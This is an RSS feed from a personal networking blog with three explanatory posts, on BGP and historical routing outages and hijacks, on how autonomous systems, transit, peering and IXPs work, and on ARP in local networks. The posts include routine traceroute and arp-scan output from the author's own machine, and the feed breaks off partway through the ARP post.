<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Buddha's Blog]]></title><description><![CDATA[Buddha's Blog]]></description><link>https://blog.buddhag.com.np</link><generator>RSS for Node</generator><lastBuildDate>Tue, 12 May 2026 05:52:22 GMT</lastBuildDate><atom:link href="https://blog.buddhag.com.np/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[BGP: The Internet's Routing Protocol]]></title><description><![CDATA[Border Gateway Protocol (BGP) is the standardized routing protocol that holds the internet's independent networks together. Its primary function is to exchange network reachability information between Autonomous Systems (ASes). This information dicta...]]></description><link>https://blog.buddhag.com.np/bgp-the-internets-routing-protocol</link><guid isPermaLink="true">https://blog.buddhag.com.np/bgp-the-internets-routing-protocol</guid><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Wed, 03 Sep 2025 03:01:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766555778330/ab138b8f-2d73-48d6-aaf9-d8d2fa7d180a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Border Gateway Protocol (BGP)</strong> is the standardized routing protocol that holds the internet's independent networks together. Its primary function is to exchange network reachability information between Autonomous Systems (ASes). This information dictates which path data packets will take to travel from a source network to a destination network.</p>
<p>BGP is a <strong>path-vector protocol</strong>. This means that when it advertises a route to an IP prefix, it includes the full path of ASNs the route has traversed. This path information, called the <code>AS_PATH</code>, is fundamental for loop prevention and is a key tool for enforcing routing policies.</p>
<hr />
<h1 id="heading-how-bgp-sessions-are-established">How BGP Sessions Are Established</h1>
<p>Before two routers can exchange routes, they must first establish a BGP session, also known as a peering relationship. This process is a structured dialogue that occurs over <strong>TCP port 179</strong>.</p>
<p>The session progresses through a series of states, using specific message types:</p>
<ul>
<li><p><strong>OPEN:</strong> The first message sent by each router to initiate a connection. It contains the sender's ASN, a hold timer, and other optional parameters. If the receiving router agrees with the parameters, the session can proceed.</p>
</li>
<li><p><strong>KEEPALIVE:</strong> Once the session is established, routers send periodic KEEPALIVE messages (typically every 60 seconds) to confirm that the connection is still active. If a router stops receiving these messages from its peer, it assumes the connection has failed and terminates the session.</p>
</li>
<li><p><strong>UPDATE:</strong> This is the core message of BGP. It is used to advertise new routes, withdraw previously advertised routes, or update the attributes of existing routes. The routing information exchanged between peers is contained within these messages.</p>
</li>
<li><p><strong>NOTIFICATION:</strong> If a router detects an error, it sends a NOTIFICATION message detailing the problem before immediately closing the BGP session.</p>
</li>
</ul>
<p>Once this initial handshake is complete and the routers reach an <strong>"Established"</strong> state, they are considered BGP peers and can begin exchanging routes via UPDATE messages.</p>
<hr />
<h1 id="heading-external-vs-internal-bgp-ebgp-vs-ibgp">External vs. Internal BGP (eBGP vs. iBGP)</h1>
<p>BGP operates in two distinct modes, depending on where the peering session is established.</p>
<h2 id="heading-external-bgp-ebgp">External BGP (eBGP)</h2>
<ul>
<li><p><strong>Definition:</strong> eBGP is used for peering sessions between routers in <strong>different</strong> Autonomous Systems.</p>
</li>
<li><p><strong>Purpose:</strong> This is the primary function of BGP—to interconnect different ISPs, hyperscalers, and other networks to form the global internet. When WorldLink connects to Tata Communications, they use an eBGP session.</p>
</li>
<li><p><strong>Mechanism:</strong> When a router advertises a route to an eBGP peer, it prepends its own ASN to the <code>AS_PATH</code>.</p>
</li>
</ul>
<h2 id="heading-internal-bgp-ibgp">Internal BGP (iBGP)</h2>
<ul>
<li><p><strong>Definition:</strong> iBGP is used for peering sessions between routers <strong>within the same</strong> Autonomous System.</p>
</li>
<li><p><strong>Purpose:</strong> When a route is learned from an external network via eBGP, iBGP is used to distribute that routing information to all other routers inside the local AS. This ensures all routers within the same network have a consistent view of external routes and can make uniform forwarding decisions.</p>
</li>
<li><p><strong>Mechanism:</strong> The <code>AS_PATH</code> and other attributes are not modified when routes are propagated between iBGP peers.</p>
</li>
</ul>
<hr />
<h1 id="heading-visualization">Visualization</h1>
<h2 id="heading-traceroute">Traceroute</h2>
<p>We can see the hops between Autonomous Systems with <code>traceroute</code> with <code>-a</code> flag</p>
<pre><code class="lang-bash">┌─(~) took 28s 🔌63% 
└X traceroute -A youtube.com
traceroute to youtube.com (2404:6800:4002:80b::200e), 30 hops max, 80 byte packets
 1  2400-1A00-B060.ip6.wlink.com.np (2400:1a00:b060:7c92::1) [AS17501]  7.884 ms  7.827 ms  7.803 ms
 2  2400-1a00-b1a6.ip6.wlink.com.np (2400:1a00:b1a6::1) [AS17501]  12.391 ms  12.368 ms  12.346 ms
 3  2400:1a00:0:1::234 (2400:1a00:0:1::234) [AS17501]  12.229 ms  12.209 ms  12.188 ms
 4  2400:1a00:0:40::50 (2400:1a00:0:40::50) [AS17501]  12.149 ms  12.128 ms  12.407 ms
 5  2400:1a00:0:42::121 (2400:1a00:0:42::121) [AS17501]  12.107 ms * *
 6  2400:1a00:0:41::170 (2400:1a00:0:41::170) [AS17501]  12.362 ms  19.897 ms  20.197 ms
 7  2400:1a00:0:41::128 (2400:1a00:0:41::128) [AS17501]  7.472 ms  8.792 ms  9.459 ms
 8  2400:1a00:dccc:1:72:9:128:67 (2400:1a00:dccc:1:72:9:128:67) [AS17501]  28.865 ms  28.836 ms  28.810 ms
 9  2404:d180:1a::15 (2404:d180:1a::15) [AS133372]  38.504 ms  38.479 ms  38.454 ms
10  2001:4860:1:1::2b5a (2001:4860:1:1::2b5a) [AS15169]  28.655 ms  28.630 ms  28.601 ms
11  2001:4860:0:1::78ab (2001:4860:0:1::78ab) [AS15169]  27.431 ms  27.721 ms  23.665 ms
12  2001:4860:0:1::340b (2001:4860:0:1::340b) [AS15169]  24.926 ms 2001:4860:0:1::2b51 (2001:4860:0:1::2b51) [AS15169]  24.868 ms 2001:4860:0:1::340b (2001:4860:0:1::340b) [AS15169]  24.958 ms
13  tzdela-bb-in-x0e.1e100.net (2404:6800:4002:80b::200e) [AS15169]  24.836 ms  24.850 ms  24.820 ms
</code></pre>
<p>The above output shows how the packets are moving between autonomous systems</p>
<ul>
<li><p>If the hop stays in the <strong>same ASN</strong> → iBGP/internal routing.</p>
</li>
<li><p>If the hop changes to a <strong>different ASN</strong> → eBGP handoff between networks.</p>
<ul>
<li><p>Hops 1–8 → inside Worldlink (AS17501, iBGP).</p>
</li>
<li><p>Hop 9 → first eBGP handoff (AS17501 → AS133372) (<a target="_blank" href="http://interaptusltd.com">interaptusltd.com</a>, HongKong).</p>
</li>
<li><p>Hop 10+ → inside Google (AS15169, iBGP) until YouTube server.</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-bgp-visualizer">BGP visualizer</h2>
<p>My new BGP visualizer, available at <a target="_blank" href="https://bgp.buddhag.com.np/">https://bgp.buddhag.com.np/</a>, was designed to show how IP prefixes are shared between Autonomous Systems and how the shortest path is chosen to build a Routing Information Base (RIB).</p>
<p>An unintentional bug in the code perfectly illustrates one of BGP's most critical flaws. The visualizer allows different, unrelated Autonomous Systems to advertise the same IP prefix, and the RIB still accepts the route with the shortest path, regardless of who the true owner is.</p>
<p>This behavior, while accidental in my tool, mirrors the reality of the BGP protocol. It operates on a principle of trust, which makes it highly vulnerable to malicious attacks and accidental misconfigurations. It's the very reason BGP is often referred to as the "duct tape of the internet," a fragile yet essential system holding global routing together.</p>
<hr />
<h1 id="heading-notable-bgp-outages-real-world-case-studies">Notable BGP Outages: Real-World Case Studies</h1>
<h2 id="heading-the-facebook-disappearance-october-2021">The Facebook Disappearance (October 2021)</h2>
<p>This outage was a catastrophic, self-inflicted wound that made one of the world's largest networks vanish from the internet for nearly six hours.</p>
<ul>
<li><p><strong>The Cause:</strong> A faulty command was issued during routine maintenance on Facebook's global backbone network. This command was intended to assess network capacity but instead inadvertently triggered a system designed to take all of their connections offline.</p>
</li>
<li><p><strong>The BGP Mechanism:</strong> The command resulted in a complete BGP route withdrawal. Facebook's routers stopped advertising the paths to their IP prefixes. To the rest of the world, their ASN (AS32934) simply disappeared, and with it, the routes to Facebook, Instagram, WhatsApp, and their DNS servers became unreachable.</p>
</li>
<li><p><strong>The Impact:</strong> The outage was so profound that it also knocked Facebook's internal systems offline, preventing engineers from remotely fixing the problem. It even locked employees out of buildings and data centers because the physical access systems were connected to the same network. The issue had to be resolved by physically sending teams to data centers to manually reset the routers.</p>
</li>
</ul>
<h2 id="heading-the-accidental-youtube-hijack-february-2008">The Accidental YouTube Hijack (February 2008)</h2>
<p>This is the textbook example of an unintentional BGP hijack with global consequences.</p>
<ul>
<li><p><strong>The Cause:</strong> The Pakistani government ordered the country's main ISP, Pakistan Telecom (AS17557), to block access to YouTube nationwide.</p>
</li>
<li><p><strong>The BGP Mechanism:</strong></p>
<ul>
<li><p>YouTube legitimately owned a prefix like <strong>208.65.152.0/22</strong> (a block of IPs).</p>
</li>
<li><p>To block access, Pakistan Telecom engineers created a <strong>more specific route</strong> (e.g., <strong>208.65.153.0/24</strong>) and directed it to a “black hole” (discarding traffic).</p>
</li>
<li><p>By mistake, this bogus route was <strong>advertised upstream</strong> to their provider, and then <strong>leaked into the global BGP system</strong>.</p>
</li>
<li><p>Because of the <strong>BGP rule of longest prefix match</strong>, routers worldwide preferred the fraudulent <strong>/24</strong> over the legitimate <strong>/22</strong> — since <strong>/24 is more specific</strong>.</p>
</li>
</ul>
</li>
<li><p><strong>The Impact:</strong> For about two hours, a significant portion of the world's internet traffic destined for YouTube was redirected to Pakistan Telecom's network, where it was discarded. This effectively took YouTube offline for a majority of global users until the faulty route was filtered.</p>
</li>
</ul>
<h2 id="heading-the-rogers-canada-national-outage-july-2022">The Rogers Canada National Outage (July 2022)</h2>
<p>This incident demonstrated the fragility of a modern nation's infrastructure when a major ISP fails.</p>
<ul>
<li><p><strong>The Cause:</strong> A faulty maintenance update was pushed to the core network of Rogers Communications (AS812), one of Canada's largest telecommunications providers.</p>
</li>
<li><p><strong>The BGP Mechanism:</strong> The flawed update caused a cascade failure in their routers, which led to a complete BGP route withdrawal. Rogers' network disappeared from the global internet, similar to the Facebook outage but with a different internal cause.</p>
</li>
<li><p><strong>The Impact:</strong> The outage lasted more than a day for many customers and had a devastating effect on the country. It didn't just cut off internet and mobile services for millions; it also took down the Interac debit payment network, crippled 911 emergency services, and disrupted businesses and government services nationwide. The event highlighted the critical dependency of national infrastructure on the stability of a single network's BGP presence.</p>
</li>
<li><p>Detail video - <a target="_blank" href="https://www.youtube.com/watch?v=VGJkDm0_G-U">How One Mistake Broke Canada’s Internet For an Entire Day</a></p>
</li>
</ul>
<h2 id="heading-the-2018-google-amp-china-telecom-rerouting-traffic-interception">The 2018 Google &amp; China Telecom Rerouting (Traffic Interception)</h2>
<p>This event highlighted how BGP incidents can have serious security and data privacy implications.</p>
<ul>
<li><p><strong>The Cause:</strong> A peering misconfiguration by Nigeria’s MainOne (AS37282) accidentally leaked Google-learned routes to China Telecom. This traffic was then further propagated, causing global rerouting of some Google-bound traffic through networks in China and Russia for about 74 minutes.</p>
</li>
<li><p><strong>The BGP Mechanism:</strong> China Telecom, in turn, announced these routes to the global internet. Because of BGP path selection rules, this made China Telecom appear to be the best and most direct path to reach major Google services (including Google Search and Google Cloud).</p>
</li>
<li><p><strong>The Impact:</strong> For over an hour, traffic from networks across the world destined for Google was rerouted through China's state-owned network backbone before eventually reaching its destination. While the cause was likely accidental, the incident proved that BGP weaknesses could be exploited to redirect sensitive international data through a specific country, raising significant concerns about potential surveillance and traffic interception.</p>
</li>
</ul>
<h2 id="heading-russian-hijacking-of-ukrainian-ip-space-geopolitical-weapon">Russian Hijacking of Ukrainian IP Space (Geopolitical Weapon) 🇺🇦</h2>
<p>This example shows BGP being used as a deliberate tool in modern conflict.</p>
<ul>
<li><p><strong>The Cause:</strong> Following the 2022 invasion of Ukraine, Russian network operators began a systematic and malicious campaign to take over Ukrainian IP address blocks.</p>
</li>
<li><p><strong>The BGP Mechanism:</strong> Russian providers, including the state-owned Rostelecom, began making BGP announcements for IP prefixes belonging to Ukrainian networks, particularly in occupied territories. This is a direct, malicious <strong>BGP hijack</strong>.</p>
</li>
<li><p><strong>The Impact:</strong> Internet traffic for users in those regions was forcibly rerouted through Russian infrastructure. This allowed Russian authorities to apply their own censorship, surveillance, and filtering, effectively cutting off those users from the global internet and placing them behind Russia's "digital iron curtain." This demonstrates BGP's modern use as a tool of information control and cyber warfare.</p>
</li>
</ul>
<hr />
<h1 id="heading-conclusion-a-resilient-but-fragile-system">Conclusion: A Resilient but Fragile System</h1>
<p>The Border Gateway Protocol is the silent, tireless engine of the internet. It operates on a simple foundation of trust, piecing together thousands of independent networks into a single, global communications fabric. As we've seen, this trust is both BGP's greatest strength and its most critical vulnerability. The massive outages caused by a single misconfigured router or a malicious hijack demonstrate that the internet's stability relies on the careful, collective stewardship of all its network operators.</p>
<p>To strengthen this fragile trust, the internet community is adopting <strong>Resource Public Key Infrastructure (RPKI)</strong> — a cryptographic system that allows network operators to verify whether a particular Autonomous System (AS) is authorized to announce a given IP prefix. With RPKI in place, many hijacks (accidental or malicious) can be automatically rejected at the routing level, making the global internet more resilient. You can check if your ISP is implementing this at <a target="_blank" href="https://isbgpsafeyet.com/">https://isbgpsafeyet.com/</a>.</p>
<p>🔗 Learn more about RPKI here: https://rpki.readthedocs.io</p>
<h2 id="heading-series-wrap-up">Series Wrap-Up</h2>
<p>Across this series, we have journeyed from the inside out. We began with a single packet leaving your computer, learning the local language of <strong>ARP</strong> to find its way to your router. We then zoomed out to see the global map of the internet—a world of <strong>Autonomous Systems</strong>, connected by the commercial highways of IP Transit and the handshake agreements of Peering, all meeting at crucial hubs called <strong>IXPs</strong>. Finally, we explored <strong>BGP</strong>, the master protocol that navigates this complex world.</p>
<p>The internet is not a cloud; it is a human achievement. It's a physical and logical system of breathtaking scale, built on layers of ingenuity. Hopefully, you now see the intricate dance that happens with every click, a global cooperation that makes our connected world possible.</p>
]]></content:encoded></item><item><title><![CDATA[How to Build Your Own ISP]]></title><description><![CDATA[Autonomous System
The internet isn't a single, monolithic cloud. It’s a massive, interconnected patchwork of thousands of independent networks, and the most fundamental building block of this global structure is the Autonomous System (AS).
Think of a...]]></description><link>https://blog.buddhag.com.np/how-to-build-your-own-isp</link><guid isPermaLink="true">https://blog.buddhag.com.np/how-to-build-your-own-isp</guid><category><![CDATA[autonomous systems]]></category><category><![CDATA[Internet Exchange]]></category><category><![CDATA[Internet Service Providers]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Wed, 03 Sep 2025 03:00:22 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-autonomous-system">Autonomous System</h1>
<p>The internet isn't a single, monolithic cloud. It’s a massive, interconnected patchwork of thousands of independent networks, and the most fundamental building block of this global structure is the <strong>Autonomous System (AS)</strong>.</p>
<p>Think of an AS as a <strong>digital country</strong> 🗺️. It has its own borders, makes its own rules for how traffic moves internally (its <strong>routing policy</strong>), and is managed by a single entity—be it an ISP like WorldLink, a tech giant like Google, or a university.</p>
<p>For one of these digital countries to participate in global traffic exchange, it needs two critical identifiers:</p>
<ul>
<li><p><strong>ASN (Autonomous System Number):</strong> This is the country's official, unique code on the world map (e.g., <code>AS17501</code> for WorldLink). It’s the nameplate used by the internet's global GPS—the Border Gateway Protocol (BGP)—to identify the network.</p>
</li>
<li><p><strong>IP Prefixes:</strong> These are the street addresses <em>within</em> that country (e.g., <code>103.23.140.0/22</code>). They represent the blocks of "digital real estate" that the AS owns and manages.</p>
</li>
</ul>
<p>Without an <strong>ASN</strong>, a network has no identity on the world stage. Without <strong>IP prefixes</strong>, it has no territory to announce. An AS needs both to be a recognized and functioning part of the global internet.</p>
<hr />
<h1 id="heading-who-assigns-asns-and-ips">Who Assigns ASNs and IPs?</h1>
<p>The distribution of these resources follows a strict hierarchy:</p>
<ol>
<li><p><strong>IANA (Internet Assigned Numbers Authority):</strong> Maintains the global pool of IP space and ASN ranges.</p>
</li>
<li><p><strong>RIRs (Regional Internet Registries):</strong> Allocate resources to organizations within their regions. Nepal and the Asia-Pacific region fall under <strong>APNIC</strong>.</p>
</li>
<li><p><strong>ISPs and LIRs (Local Internet Registries):</strong> Request and manage ASNs and IP addresses from their RIR.</p>
</li>
</ol>
<p>This structure ensures uniqueness and prevents conflicts across the global internet.</p>
<h3 id="heading-real-world-asn-examples-and-their-ip-prefixes">Real-World ASN Examples and Their IP Prefixes</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Organization</strong></td><td>IPv4 Count</td><td>LINK</td></tr>
</thead>
<tbody>
<tr>
<td>WorldLink Communications(<strong>AS17501)</strong></td><td>75,008</td><td><a target="_blank" href="https://ipinfo.io/AS17501">https://ipinfo.io/AS17501</a></td></tr>
<tr>
<td>eSewa Private Limited(<strong>AS133190)</strong></td><td>256</td><td><a target="_blank" href="https://ipinfo.io/AS133190">https://ipinfo.io/AS133190</a></td></tr>
<tr>
<td>Khalti Private Limited(<strong>AS151207)</strong></td><td>512</td><td><a target="_blank" href="https://ipinfo.io/AS151207">https://ipinfo.io/AS151207</a></td></tr>
</tbody>
</table>
</div><hr />
<h1 id="heading-internet-hierarchyhttpsnetworksdbioautonomous-systemas17501ipv6utmsourcechatgptcom">Internet Hierarch<a target="_blank" href="https://networksdb.io/autonomous-system/AS17501/ipv6?utm_source=chatgpt.com">y</a></h1>
<p>The internet has an informal structure based on a network's scale and how it connects to the world.</p>
<h2 id="heading-traditional-isp-tiers">Traditional ISP Tiers</h2>
<ul>
<li><p><strong>Tier 1:</strong> The global backbones of the internet. Their networks are so extensive they don't pay for access, instead peering freely with all other Tier 1s. They're like major international airlines with routes to every continent.</p>
</li>
<li><p><strong>Tier 2:</strong> Large national or regional providers. They peer extensively to save costs but must still buy <strong>IP Transit</strong> from a Tier 1 to ensure their customers have full global reach. They are the national airlines that partner with global ones for overseas flights.</p>
</li>
<li><p><strong>Tier 3:</strong> Smaller, "last-mile" providers that deliver internet directly to homes and businesses. They almost exclusively purchase transit from larger ISPs. They're the local taxi service that takes you to the main airport.</p>
</li>
</ul>
<h2 id="heading-hyperscalers">Hyperscalers</h2>
<p><strong>Hyperscalers</strong> are large technology companies operating massive private networks, often larger than traditional Tier 1 ISPs. Unlike the tiered ISP model, their networks are built to support global cloud platforms, large-scale content delivery, and online services.</p>
<p>Key characteristics:</p>
<ul>
<li><p>Operate their own <strong>global backbones</strong> interconnecting data centers worldwide.</p>
</li>
<li><p>Peer directly with thousands of ISPs to deliver services efficiently.</p>
</li>
<li><p>Minimize dependence on transit providers.</p>
</li>
</ul>
<p><strong>Examples of hyperscalers include:</strong></p>
<ul>
<li><p><strong>Google (AS15169):</strong> Operates Google Cloud, YouTube, and Gmail.</p>
</li>
<li><p><strong>Amazon (AS16509):</strong> Runs Amazon Web Services (AWS).</p>
</li>
<li><p><strong>Microsoft (AS8075):</strong> Runs Azure and Microsoft 365.</p>
</li>
<li><p><strong>Meta (AS32934):</strong> Operates Facebook, Instagram, and WhatsApp.</p>
</li>
<li><p><strong>Netflix (AS2906):</strong> Operates a global content delivery network for video streaming.</p>
</li>
<li><p><strong>Cloudflare (AS13335):</strong> Provides CDN, security, and edge computing services.</p>
</li>
</ul>
<p>These companies invest heavily in infrastructure and connect directly to ISPs and IXPs worldwide to improve performance and reduce costs. You can go to <a target="_blank" href="https://ipinfo.io/">https://ipinfo.io/</a>. And check the IP blocks they control and other details.</p>
<hr />
<h1 id="heading-connections-between-networks">Connections Between Networks</h1>
<p>Every Autonomous System (AS) must connect with others to exchange traffic, since no single AS can reach the entire internet on its own. These connections typically fall into two main business relationships:</p>
<ul>
<li><p><strong>Transit</strong>:<br />  Transit is a paid service where one AS (the provider) agrees to carry all of another AS’s traffic to the rest of the internet. In practice, this gives the customer network <em>full global reachability</em>. Smaller ISPs, enterprises, or payment platforms often buy transit from larger providers. Pricing is usually based on bandwidth capacity (e.g., per Mbps or Gbps). Transit agreements create a hierarchical internet structure, with smaller ASes “upstream” of larger ones.</p>
</li>
<li><p><strong>Peering</strong>:<br />  Peering is a mutual agreement where two ASes exchange traffic <em>only</em> between their respective customers, without payment. The main motivation is efficiency—peering reduces latency and avoids transit costs. However, peering is not guaranteed; networks peer only when both sides see mutual benefit, such as high traffic volume between them or geographic proximity.</p>
</li>
</ul>
<hr />
<h3 id="heading-internet-exchange-points-ixps">Internet Exchange Points (IXPs)</h3>
<p>Most peering relationships are established at <strong>Internet Exchange Points (IXPs)</strong>. An IXP is a physical infrastructure (typically a high-capacity Ethernet switch) where multiple networks interconnect through a shared fabric. Instead of setting up dozens or hundreds of private links, each participant only needs one connection to the IXP, and from there they can peer with many others.</p>
<p>Benefits of IXPs include:</p>
<ul>
<li><p><strong>Reduced Cost</strong>: One port at the IXP replaces many separate links, lowering operational and bandwidth expenses.</p>
</li>
<li><p><strong>Lower Latency</strong>: Traffic between local or regional networks can be exchanged directly, avoiding long detours through upstream providers.</p>
</li>
<li><p><strong>Scalability</strong>: Networks can easily add or remove peers without reconfiguring complex topologies.</p>
</li>
<li><p><strong>Ecosystem Growth</strong>: IXPs often act as hubs, attracting CDNs (like Cloudflare, Akamai), hyperscalers (Google, AWS, Microsoft), financial platforms, and local ISPs, which further strengthens local internet resilience.</p>
</li>
</ul>
<p>Well-known IXPs include <strong>LINX (London Internet Exchange)</strong>, <strong>DE-CIX (Germany)</strong>, and <strong>AMS-IX (Amsterdam)</strong>. In Nepal, <strong>NPIX (Nepal Internet Exchange)</strong> plays this role by connecting local ISPs and service providers, keeping domestic traffic within the country.</p>
<hr />
<h1 id="heading-isp-startup-checklist">ISP Startup Checklist ✅</h1>
<p>Building an ISP involves both regulatory approval and technical infrastructure. The core steps are:</p>
<ol>
<li><p><strong>Legal Setup</strong></p>
<ul>
<li><p>Register a company.</p>
</li>
<li><p>Obtain an ISP license from the national regulator (in Nepal: <strong>NTA</strong>).</p>
</li>
</ul>
</li>
<li><p><strong>Identity (ASN and IPs)</strong></p>
<ul>
<li><p>Apply to your RIR-<strong>APNIC(Asia Pacific Network Information Centre)</strong> for an ASN and IP address blocks.</p>
</li>
<li><p>Expect primarily IPv6 allocations, as IPv4 is scarce.</p>
</li>
</ul>
</li>
<li><p><strong>Point of Presence (PoP)</strong></p>
<ul>
<li><p>Lease rack space in a carrier-neutral data center.</p>
</li>
<li><p>Deploy:</p>
<ul>
<li><p>Carrier-grade routers capable of BGP and handling large routing tables.</p>
</li>
<li><p>Switches for internal aggregation.</p>
</li>
<li><p>Servers for DNS, RADIUS (authentication), and monitoring.</p>
</li>
</ul>
</li>
<li><p>Ensure redundancy in power, cooling, and connectivity.</p>
</li>
</ul>
</li>
<li><p><strong>Transit Connectivity</strong></p>
<ul>
<li><p>Sign a contract with an upstream provider.</p>
</li>
<li><p>Establish cross-connects to their equipment in the same facility.</p>
</li>
<li><p>Configure external BGP sessions for global reachability.</p>
</li>
</ul>
</li>
<li><p><strong>Peering</strong></p>
<ul>
<li><p>Join the regional IXP (in Nepal: <a target="_blank" href="https://www.npix.net.np/"><strong>NPIX</strong></a>).</p>
</li>
<li><p>Establish peering sessions with local ISPs, content networks, and hyperscalers present at the exchange.</p>
</li>
<li><p>Reduce transit costs and improve latency for local traffic.</p>
</li>
</ul>
</li>
<li><p><strong>Operations</strong></p>
<ul>
<li><p>Deploy monitoring and logging systems.</p>
</li>
<li><p>Establish network security policies.</p>
</li>
<li><p>Set up customer support and provisioning systems.</p>
</li>
</ul>
</li>
</ol>
<hr />
<h1 id="heading-next-steps">Next Steps</h1>
<p>Now that we’ve covered the foundation of ASNs, IP prefixes, transit, peering, and IXPs, the next critical topic is <strong>BGP (Border Gateway Protocol)</strong>.</p>
<p>BGP acts as the <strong>duct tape of the internet</strong>, holding together the complex web of networks and enabling global connectivity. It allows networks to announce their prefixes, learn routes from other ASes, and make intelligent decisions about the best paths for traffic.</p>
<p>In the next blog, we’ll explore:</p>
<ul>
<li><p>How BGP sessions are established.</p>
</li>
<li><p>The difference between <strong>internal (iBGP)</strong> and <strong>external (eBGP)</strong> sessions.</p>
</li>
<li><p>Visualization of BGP works.</p>
</li>
<li><p>Real-world examples of major outages caused by <strong>BGP hijacking</strong> or <strong>misconfigurations</strong>, demonstrating why careful BGP management is critical for network stability.</p>
</li>
</ul>
<p>This will give a practical understanding of how the internet’s routing backbone works and why even small mistakes can have wide-reaching effects.</p>
]]></content:encoded></item><item><title><![CDATA[Local Network and Their Networks]]></title><description><![CDATA[Before we can explore how data crosses continents and bounces between hyperscale data centers, we need to start with the smallest piece of the puzzle: your local network.
Every device on the internet is part of a smaller network first — your phone co...]]></description><link>https://blog.buddhag.com.np/local-network-and-their-networks</link><guid isPermaLink="true">https://blog.buddhag.com.np/local-network-and-their-networks</guid><category><![CDATA[networking]]></category><category><![CDATA[traceroute]]></category><category><![CDATA[ARP]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Wed, 03 Sep 2025 02:58:28 GMT</pubDate><content:encoded><![CDATA[<p>Before we can explore how data crosses continents and bounces between hyperscale data centers, we need to start with the smallest piece of the puzzle: your <strong>local network</strong>.</p>
<p>Every device on the internet is part of a smaller network first — your phone connected to Wi-Fi, your laptop plugged into Ethernet, or even a server inside a data center rack. These local networks are the foundations of the global internet. Without them, nothing moves.</p>
<p>At the heart of these small networks is the same problem: <strong>how does one device know how to send data to another?</strong> That’s where networking begins.</p>
<hr />
<h1 id="heading-arp-the-first-step-in-talking-to-your-router">ARP – The First Step in Talking to Your Router</h1>
<p>So everything starts with a basic <strong>ARP request</strong>, a process that tools like <code>arp-scan</code> are built to exploit. The primary purpose of ARP (Address Resolution Protocol) is to map an IP address to its corresponding <strong>MAC address</strong> so that communication can actually happen at the data link (Ethernet) layer.</p>
<h2 id="heading-step-1-subnet-masking-on-the-source-machine"><strong>Step 1: Subnet Masking on the Source Machine</strong></h2>
<ul>
<li><p>When your computer wants to send a packet, it first compares the <strong>destination IP</strong> with its own IP <strong>and subnet mask</strong>.</p>
<ul>
<li><p>How IP masking works:</p>
<ol>
<li><p>Your computer performs a bitwise AND between its own IP and the subnet mask to get the network address.</p>
</li>
<li><p>It also performs a bitwise AND between the target IP and the same subnet mask.</p>
</li>
<li><p>If the resulting network addresses are equal, the IP is in the same subnet. Otherwise, it’s outside your local network.</p>
</li>
</ol>
</li>
</ul>
</li>
<li><p>This determines if the destination is <strong>on the same local network</strong> (on-link) or <strong>off-network</strong> (needs a gateway).</p>
</li>
</ul>
<hr />
<h3 id="heading-step-2a-destination-is-on-link"><strong>Step 2a: Destination is On-Link</strong></h3>
<ul>
<li><p>If the destination is in the same subnet:</p>
<ol>
<li><p>The OS knows it can reach the host directly.</p>
</li>
<li><p>It checks the <strong>ARP cache</strong> for the MAC of the destination IP.</p>
</li>
<li><p>If the MAC isn’t in the cache, it sends an <strong>ARP request</strong>:<br /> <code>"Who has IP X? Tell me your MAC!"</code></p>
</li>
<li><p>The destination machine replies with its MAC.</p>
</li>
<li><p>Packet is wrapped in an Ethernet frame with:</p>
<ul>
<li><p><strong>Destination MAC = target machine’s MAC</strong></p>
</li>
<li><p><strong>Destination IP = target machine’s IP</strong></p>
</li>
</ul>
</li>
</ol>
</li>
</ul>
<ul>
<li>Packet is sent directly to the destination.</li>
</ul>
<pre><code class="lang-bash"><span class="hljs-comment"># ARP scan to check available hosts in local network.</span>
[nix-shell:~]$ sudo arp-scan --localnet
Interface: wlp0s20f3, <span class="hljs-built_in">type</span>: EN10MB, MAC: 94:b6:09:66:b8:27, IPv4: 192.168.1.111
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.137    40:e1:e4:0e:0a:81    Nokia Solutions and Networks GmbH &amp; Co. KG
192.168.1.81    96:94:6c:ea:3b:3f    (Unknown: locally administered)
192.168.1.130    70:08:94:3b:9e:51    (Unknown)
192.168.1.124    a0:b3:39:62:0c:<span class="hljs-built_in">cd</span>    (Unknown)
192.168.1.254    c8:9c:bb:52:bc:80    (Unknown)

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned <span class="hljs-keyword">in</span> 1.970 seconds (129.95 hosts/sec). 5 responded

<span class="hljs-comment"># Check entries in arp cache</span>
[nix-shell:~]$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
172.19.0.2               ether   02:42:ac:13:00:02   C                     br-bd6d6f551404
172.18.0.2               ether   02:42:ac:12:00:02   C                     br-5d681ffed7e7
192.168.1.254            ether   c8:9c:bb:52:bc:80   C                     wlp0s20f3

<span class="hljs-comment"># Ping one of the device in the localnetwork</span>
[nix-shell:~]$ ping 192.168.1.137
PING 192.168.1.137 (192.168.1.137) 56(84) bytes of data.
64 bytes from 192.168.1.137: icmp_seq=1 ttl=64 time=4.92 ms
64 bytes from 192.168.1.137: icmp_seq=2 ttl=64 time=3.09 ms
^C
--- 192.168.1.137 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 3.087/4.002/4.918/0.915 ms

<span class="hljs-comment"># Check the ARP cache. You can find the newly pinged device.</span>
[nix-shell:~]$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
172.19.0.2               ether   02:42:ac:13:00:02   C                     br-bd6d6f551404
172.18.0.2               ether   02:42:ac:12:00:02   C                     br-5d681ffed7e7
192.168.1.137            ether   40:e1:e4:0e:0a:81   C                     wlp0s20f3
192.168.1.254            ether   c8:9c:bb:52:bc:80   C                     wlp0s20f3
</code></pre>
<hr />
<h3 id="heading-step-2b-destination-is-off-link"><strong>Step 2b: Destination is Off-Link</strong></h3>
<ul>
